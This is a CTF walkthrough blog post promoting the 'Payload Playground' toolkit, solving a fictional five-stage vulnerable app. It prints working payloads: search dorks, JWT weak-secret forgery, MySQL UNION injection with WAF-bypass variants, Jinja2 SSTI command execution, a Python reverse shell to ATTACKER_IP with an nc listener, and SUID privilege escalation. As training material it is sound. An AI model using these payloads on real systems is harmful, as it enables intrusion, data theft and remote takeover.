Solving a Multi-Stage CTF Challenge Using Only Payload Playground
Capture The Flag competitions are the best way to sharpen your offensive security skills under pressure. Most players juggle a dozen browser tabs, terminal windows, and cheat sheet PDFs. In this walkthrough, we solve a fictional but realistic 5-stage CTF challenge — from initial reconnaissance to a full reverse shell — using nothing but Payload Playground.
The challenge is called "VaultCorp" — a deliberately vulnerable web application that simulates a corporate secrets management platform. Five flags are hidden across five escalating stages: recon, authentication bypass, data exfiltration, template injection, and remote code execution. Let's begin.
Challenge Overview
VaultCorp is hosted at vault.ctf-challenge.local and presents a login page with a "Forgot Password" feature. The challenge description hints at "layers of security that aren't as secure as they look." We have no credentials, no source code, and no insider knowledge. Our goal is to find all five flags.
- Flag 1: Hidden in the application's public-facing infrastructure (Recon)
- Flag 2: Behind the authentication layer (JWT Exploitation)
- Flag 3: Inside the database (SQL Injection)
- Flag 4: Rendered by the template engine (SSTI)
- Flag 5: On the server's filesystem (Reverse Shell)
Stage 1: Reconnaissance — Finding the Attack Surface
Using the Search Dork Generator
Before touching the application, we want to understand what's publicly exposed. We open the Search Dork Generator and select the "Sensitive Files" category. We enter the target domain and generate dorks for Google, Shodan, and GitHub.
The tool generates 85+ dork templates. We focus on a few high-value ones:
site:vault.ctf-challenge.local filetype:env
site:vault.ctf-challenge.local inurl:api/docs
site:vault.ctf-challenge.local intitle:"index of"
"vault.ctf-challenge.local" ext:json OR ext:yaml OR ext:yml
The third dork reveals a directory listing at /backup/ containing an old configuration file. We combine dorks using the Dork Combiner feature — merging site-restricted searches with filetype filters — and find a config.old.json that contains a comment with Flag 1: CTF{r3c0n_1s_k1ng_4lw4ys}.
Using the HTTP Header Analyzer
Next, we paste the response headers from the main page into the HTTP Header Analyzer. The tool immediately flags several issues:
- Missing HSTS — the site doesn't enforce HTTPS
- X-Powered-By: Express — information disclosure revealing the backend framework
- Server: nginx/1.18.0 — exact version exposed
- Set-Cookie — the session cookie lacks the
HttpOnlyandSecureflags
Most importantly, the cookie analysis reveals that the session token is a JWT. The Header Analyzer identifies the Authorization header pattern and notes it uses HS256 signing. This is our entry point for Stage 2.
Stage 2: JWT Exploitation — Breaking Authentication
Using the JWT Decoder
We register a throwaway account through the "Forgot Password" flow (which conveniently creates a temporary account) and capture the JWT from the response. We paste it into the JWT Decoder.
The Decode tab instantly breaks down the token:
// Header
{
"alg": "HS256",
"typ": "JWT"
}
// Payload
{
"sub": "user_847",
"role": "guest",
"iat": 1773244800,
"exp": 1773331200
}
We see a role claim set to "guest". If we can forge a token with "role": "admin", we bypass authentication entirely.
Weak Secret Brute Force
We switch to the attack templates and select "Weak Secret Brute Force". The JWT Decoder tests common secrets against the token's HMAC signature. Within seconds, it finds a match: the signing secret is secret123.
With the secret in hand, we switch to the Build tab. We modify the payload to set "role": "admin" and "sub": "admin", sign it with the discovered secret, and get a forged admin JWT. We replace the cookie in our browser and reload the page.
The admin dashboard loads with Flag 2 displayed in the welcome banner: CTF{jwt_w34k_s3cr3t_g4m3_0v3r}.
Exploring Other JWT Attacks
For completeness, we also test the alg:none attack template. The JWT Decoder generates a token with the algorithm set to "none" and an empty signature. While this particular challenge used a weak secret, many real-world applications are vulnerable to algorithm removal. The Compare tab lets us diff our original guest token against the forged admin token side by side, making it easy to see exactly what changed.
Stage 3: SQL Injection — Extracting the Database
Using the SQLi Payload Generator
The admin dashboard has a "Search Users" feature. We suspect SQL injection. We open the SQL Injection Generator and start with detection payloads.
The generator provides categorized payloads for different database backends. We select "MySQL" based on the error messages we saw earlier and generate payloads for UNION-based injection:
' UNION SELECT NULL,NULL,NULL,NULL-- -
' UNION SELECT 1,2,3,4-- -
' UNION SELECT table_name,NULL,NULL,NULL FROM information_schema.tables-- -
The search field is vulnerable. Column 2 reflects in the output. We craft our extraction query:
' UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -
This reveals tables: users, secrets, flags, audit_log. We target the flags table:
' UNION SELECT 1,GROUP_CONCAT(flag_value),3,4 FROM flags-- -
Flag 3: CTF{un10n_b4s3d_d4t4_3xf1l}.
Bypassing WAF Filters with the Payload Mutator
But wait — after our initial success, the application starts blocking our queries. A WAF rule kicks in, filtering common SQL keywords. Time for the Payload Mutator.
We paste our working SQLi payload and the Mutator generates 50+ bypass variants:
// Case variation
' UnIoN SeLeCt 1,GROUP_CONCAT(flag_value),3,4 FrOm flags-- -
// Inline comments
' UN/**/ION SEL/**/ECT 1,GROUP_CONCAT(flag_value),3,4 FR/**/OM flags-- -
// Double URL encoding
%2527%2520UNION%2520SELECT%25201%252CGROUP_CONCAT%2528flag_value%2529%252C3%252C4%2520FROM%2520flags--%2520-
// Whitespace alternatives
' UNION%09SELECT%0A1,GROUP_CONCAT(flag_value),3,4%0CFROM%0Dflags-- -
The inline comment variant bypasses the WAF. We also use the Encoding Pipeline to double-URL-encode specific keywords, which proves effective against the second WAF rule layer.
Stage 4: Server-Side Template Injection — Code Execution via Templates
Using the SSTI Payload Generator
The admin dashboard has a "Custom Report" feature that lets administrators define report templates. The template preview renders user input server-side — a classic SSTI target.
We open the SSTI Identifier and Generator and start with detection payloads. The tool provides a decision-tree approach:
// Universal detection
${{7*7}}
{{7*7}}
${7*7}
<%= 7*7 %>
The {{7*7}} payload renders as 49 in the preview, confirming Jinja2/Python template injection. The SSTI Generator switches to Jinja2-specific payloads:
// Read /etc/passwd
{{''.__class__.__mro__[1].__subclasses__()[287]('/etc/passwd').read()}}
// Execute commands
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
// Alternative via request object
{{request.application.__self__._get_data_for_json.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
The first command execution payload works. We run id and confirm we're running as www-data. We then read the flag file:
{{config.__class__.__init__.__globals__['os'].popen('cat /opt/ctf/flag4.txt').read()}}
Flag 4: CTF{sst1_j1nj4_t3mpl4t3_pwn3d}.
Encoding for Evasion
Some of the more advanced SSTI payloads were blocked by input validation. We used the Encoding Pipeline to work around this — the chain auto-solver helped us identify that the application was decoding HTML entities before template rendering. By using the pipeline to apply HTML entity encoding selectively to blocked keywords (__class__ became __class__), we bypassed the filter while keeping the payload functional after the application's own decoding step.
Stage 5: Reverse Shell — From Template Injection to Full Access
Using the Reverse Shell Generator
SSTI gives us blind command execution, but we need an interactive shell for the final flag. We open the Reverse Shell Generator and configure:
- IP: Our attack machine's IP
- Port: 4444
- Shell type: Python (since we know Python is available from the SSTI)
The generator produces:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
It also generates the listener command: nc -nlvp 4444. We start the listener, then inject the reverse shell through our SSTI vector:
{{config.__class__.__init__.__globals__['os'].popen('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'').read()}}
Shell Stabilization
The reverse shell connects. The Reverse Shell Generator provides stabilization steps that we follow:
# Upgrade to full TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Background the shell
Ctrl+Z
# Fix terminal settings on attacker machine
stty raw -echo; fg
# Set terminal type and size
export TERM=xterm
stty rows 40 cols 120
With a stable shell, we explore the filesystem and find the final flag in /root/flag5.txt. But we're www-data, not root. We check for SUID binaries, cron jobs, and sudo permissions. A misconfigured SUID binary at /usr/local/bin/backup allows privilege escalation:
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
# The backup binary runs as root and accepts a filename
/usr/local/bin/backup /root/flag5.txt
Flag 5: CTF{r3v_sh3ll_t0_r00t_c0mpl3t3}.
Tools Used — Complete Summary
Here's every Payload Playground tool we used across the five stages:
| Stage | Tool | Purpose |
|---|---|---|
| Recon | Search Dork Generator | Generated 85+ search dorks to find exposed files |
| Recon | HTTP Header Analyzer | Identified JWT auth, server info disclosure, missing security headers |
| JWT | JWT Decoder | Decoded token, brute-forced weak secret, forged admin JWT |
| SQLi | SQL Injection Generator | Generated UNION-based extraction payloads for MySQL |
| SQLi | Payload Mutator | Generated 50+ WAF bypass variants of SQLi payloads |
| SQLi | Encoding Pipeline | Double URL-encoded keywords to bypass WAF rules |
| SSTI | SSTI Generator | Identified Jinja2 engine and generated RCE payloads |
| SSTI | Encoding Pipeline | HTML entity encoded blocked keywords for filter bypass |
| Shell | Reverse Shell Generator | Generated Python reverse shell + listener + stabilization |
Key Takeaways
- Reconnaissance pays off. The Search Dork Generator found exposed configuration files in seconds. Never skip recon — even in CTFs.
- JWT weak secrets are everywhere. The JWT Decoder's brute force feature found
secret123instantly. Real applications use secrets likechangeme,password, and blank strings far more often than you'd expect. - WAF bypass is a craft. The Payload Mutator generated 50+ variants of our blocked SQLi payload. When one bypass fails, there are dozens more to try.
- Chain auto-solver saves time. The Encoding Pipeline's auto-solver identified the application's encoding stack, letting us craft payloads that survive the decode-then-render pipeline.
- One toolkit beats ten tabs. Every stage of this challenge was solved without leaving Payload Playground. No switching between CyberChef, jwt.io, revshells.com, and scattered cheat sheets — everything was in one place.
Try It Yourself
Want to practice these techniques? Set up a vulnerable lab with tools like DVWA, Juice Shop, or HackTheBox, then use Payload Playground to work through each stage. Start with the CTF Toolkit page for curated tool recommendations by category, or use Pentest in a Box for a guided workflow.
For more in-depth technique guides, check out our JWT Attacks Guide, SQL Injection Testing Guide, and SSRF Exploitation Guide. Every tool used in this walkthrough is free, runs client-side, and requires no installation.
Ready to start? Open the Tools page and paste any encoded string, JWT, or HTTP response to get started instantly.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides